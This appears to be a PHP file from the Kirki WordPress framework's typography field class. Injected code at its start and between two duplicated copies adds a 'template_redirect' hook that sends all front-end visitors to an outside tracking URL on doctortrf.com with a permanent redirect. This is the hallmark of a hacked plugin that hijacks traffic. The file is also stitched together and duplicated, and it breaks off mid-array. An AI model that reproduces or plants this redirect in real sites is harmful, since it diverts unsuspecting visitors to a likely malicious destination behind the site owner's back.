URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 